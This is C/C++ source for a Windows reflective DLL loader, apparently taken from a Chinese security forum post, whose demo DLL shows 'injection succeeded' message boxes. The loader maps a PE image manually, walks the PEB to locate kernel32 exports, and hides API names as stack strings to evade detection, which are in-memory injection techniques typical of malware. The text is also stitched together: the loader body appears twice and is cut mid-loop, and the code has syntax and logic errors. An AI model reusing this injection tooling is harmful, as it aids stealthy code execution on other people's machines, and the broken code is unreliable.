    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; 

    BYTE* dst = (BYTE*)pAlloc;              

    BYTE* src = (BYTE*)pDll;                

    size_t size = pNTheader->OptionalHeader.SizeOfHeaders;

    for (size_t i = 0; i < size; ++i) {

        dst[i] = src[i];                    

    }

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));

    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;

    for (int i = 0; i < SecNum; i++) {

        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {

            pSec++;

            continue;

        }

        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));

        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));

        DWORD dwSizeOfRawData = pSec->SizeOfRawData;

        DWORD dwVirtualSize = pSec->Misc.VirtualSize;

        for (DWORD j = 0; j < dwSizeOfRawData; j++) {

            chDestMem[j] = chSrcMem[j];

        }

        if (dwVirtualSize > dwSizeOfRawData) {

            char* start = chDestMem + dwSizeOfRawData;

            char* end = chDestMem + dwVirtualSize;

            while (start < end) {

                *start++ = 0;

            }

        }

        pSec++;

    }

    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);

    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;

    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)

    {

        do {

            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);         

            int num = (pBaseReloc->SizeOfBlock - 8) / 2;               

            for (int i = 0; i < num; i++)

            {

                WORD type = TypeOffset[i] >> 12;                       

                WORD offset = TypeOffset[i] & 0x0FFF;                  

                int differ = 0;

                if (type == 3)

                {

                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;

                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;

                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;

                    char* fromeaddr = (char*)p;

                    for (int c = 0;c < 4;c++) {

                        tagetaddr[c] = fromeaddr[c];

                    }

                }

            }

            SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;                

            pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);

        } while (SizeOfBaseReloc);

    }

    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR);

    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);

    GETPROCADDR pGetProcAddress = NULL;

    LOADLIBRARYA pLoadLibraryA = NULL;

    PTEB pTEB = (PTEB)__readgsqword(0x30);

    PPEB pPEB = pTEB->ProcessEnvironmentBlock;

    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;

    PLIST_ENTRY pCurrentEntry = pListHead->Flink;

    while (pCurrentEntry && pCurrentEntry != pListHead)

    {

        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (pEntry && pEntry->FullDllName.Buffer)

        {

            wchar_t* dllName = pEntry->FullDllName.Buffer;

            wchar_t* fileName = ExtractDllName(dllName);

            wchar_t a[50] = { 0 };

            a[0] = L'k';

            a[1] = L'e';

            a[2] = L'r';

            a[3] = L'n';

            a[4] = L'e';

            a[5] = L'l';

            a[6] = L'3';

            a[7] = L'2';

            a[8] = L'.';

            a[9] = L'd';

            a[10] = L'l';

            a[11] = L'l';

            a[12] = L'\0';

            if (CompareDllName(fileName, a)) {

                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;

                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);

                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

                DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames);

                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions);

                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);

                char targetName1[50] = "LoadLibraryA";

                targetName1[0] = 'L';

                targetName1[1] = 'o';

                targetName1[2] = 'a';

                targetName1[3] = 'd';

                targetName1[4] = 'L';

                targetName1[5] = 'i';

                targetName1[6] = 'b';

                targetName1[7] = 'r';

                targetName1[8] = 'a';

                targetName1[9] = 'r';

                targetName1[10] = 'y';

                targetName1[11] = 'A';

                targetName1[12] = '\0';

                char targetName2[50] = { 0 };

                targetName2[0] = 'G';

                targetName2[1] = 'e';

                targetName2[2] = 't';

                targetName2[3] = 'P';

                targetName2[4] = 'r';

                targetName2[5] = 'o';

                targetName2[6] = 'c';

                targetName2[7] = 'A';

                targetName2[8] = 'd';

                targetName2[9] = 'd';

                targetName2[10] = 'r';

                targetName2[11] = 'e';

                targetName2[12] = 's';

                targetName2[13] = 's';

                targetName2[14] = '\0';

                int isP = 0;

                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {

                    char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]);

                    if (CompareStrings(functionName, targetName1)) {

                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];

                        pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA);

                        isP++;

                    }

                    if (CompareStrings(functionName, targetName2)) {

                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];

                        pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA);

                        isP++;

                    }

                    if (isP == 2) {

                        break;

                    }

                }

                break;

            }

        }

        pCurrentEntry = pCurrentEntry->Flink;

    }

    if (!pLoadLibraryA && !pGetProcAddress)

    {

        char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块";

        return FALSE;

    }

    else {

        char sucsess[] = "sucsess";

    }

    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);

    if (pImport != NULL)

    {

        while (pImport->Name != NULL)

        {

            char DLLname[50] = { 0 };

            char* pDLLName = (char*)(pImport->Name + pAlloc);

            for (int i = 0; i < sizeof(DLLname) - 1; i++)

            {

                if (pDLLName[i] == '\0')

                    break;

                DLLname[i] = pDLLName[i];

            }

            DLLname[sizeof(DLLname) - 1] = '\0';

            HMODULE hProcess = pLoadLibraryA(DLLname);              

            if (!hProcess)

            {

                return FALSE;

            }

            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);

            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);

            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)

            {

                PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc); 

                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)

                {

                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));

                }

                else

                {

                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));            

                }

                pINT++;

                pIAT++;

            }

            pImport++;

        }

    }

    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);

    FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);

    EOP();

    return TRUE;

}

#include "pch.h"

#include <windows.h>

#include<stdio.h>

#include <stdbool.h>

#include <winternl.h>

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);

wchar_t* ExtractDllName(const wchar_t* fullDllName);

void my_wctomb(char* dest, const wchar_t* src);

int CompareStrings(const char* str1, const char* str2);

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);

    char processName[MAX_PATH] = { 0 };

    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);

    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);

    Sleep(99999999);

    return TRUE;

}

void my_wctomb(char* dest, const wchar_t* src) {

    while (*src) {

        if (*src >= L'A' && *src <= L'Z') {

            *dest = (char)(*src + (L'a' - L'A')); 

        }

        else if (*src >= L'a' && *src <= L'z') {

            *dest = (char)*src; 

        }

        else if (*src >= L'0' && *src <= L'9') {

            *dest = (char)*src; 

        }

        else {

            *dest = '?'

        }

        dest++;

        src++;

    }

    *dest = '\0'

}

int CompareStrings(const char* str1, const char* str2) {

    while (*str2 != '\0') {

        if (*str1 != *str2) {

            return 0;

        }

        str1++;

        str2++;

    }

    return 1;

}

int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {

    size_t i = 0;

    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {

        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];

        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];

        if (ch1 != ch2) {

            return 0;

        }

        i++;

    }

    return 1; 

}

wchar_t* ExtractDllName(const wchar_t* fullDllName) {

    wchar_t* fileName = NULL;

    wchar_t* temp = (wchar_t*)fullDllName;

    while (*temp) {

        if (*temp == L'\\') {

            fileName = temp + 1; 

        }

        temp++;

    }

    if (!fileName) {

        fileName = (wchar_t*)fullDllName;

    }

    return fileName;

}

extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)

{

    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                            

    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew);

    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; 

    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);

    if (pAlloc == NULL) return FALSE;

    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; 

    BYTE* dst = (BYTE*)pAlloc;              

    BYTE* src = (BYTE*)pDll;                

    size_t size = pNTheader->OptionalHeader.SizeOfHeaders;

    for (size_t i = 0; i < size; ++i) {

        dst[i] = src[i];                    

    }

    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));

    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;

    for (int i = 0; i < SecNum; i++) {

        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {

            pSec++;

            continue;

        }

        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));

        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));

        DWORD dwSizeOfRawData = pSec->SizeOfRawData;

        DWORD dwVirtualSize = pSec->Misc.VirtualSize;

        for (DWORD j = 0; j < dwSizeOfRawData; j++) {

            chDestMem[j] = chSrcMem[j];

        }

        if (dwVirtualSize > dwSizeOfRawData) {

            char* start = chDestMem + dwSizeOfRawData;

            char* end = chDestMem + dwVirtualSize;

            while (start < end) {

                *start++ = 0;

            }

        }

        pSec++;

    }

    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);

    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;

    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)

    {

        do {

            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);         

            int num = (pBaseReloc->SizeOfBlock - 8) / 2;               

            for (int i = 0; i < num; i++)

            {

                WORD type = TypeOffset[i] >> 12;                       

                WORD offset = TypeOffset[i] & 0x0FFF;                  

                int differ = 0;

                if (type == 3)

                {

                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;

                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;

                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;

                    char* fromeaddr = (char*)p;

                    for (int c = 0;c < 4;c++) {

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课


文章来源: https://bbs.kanxue.com/thread-284843.htm
如有侵权请联系:admin#unsafe.sh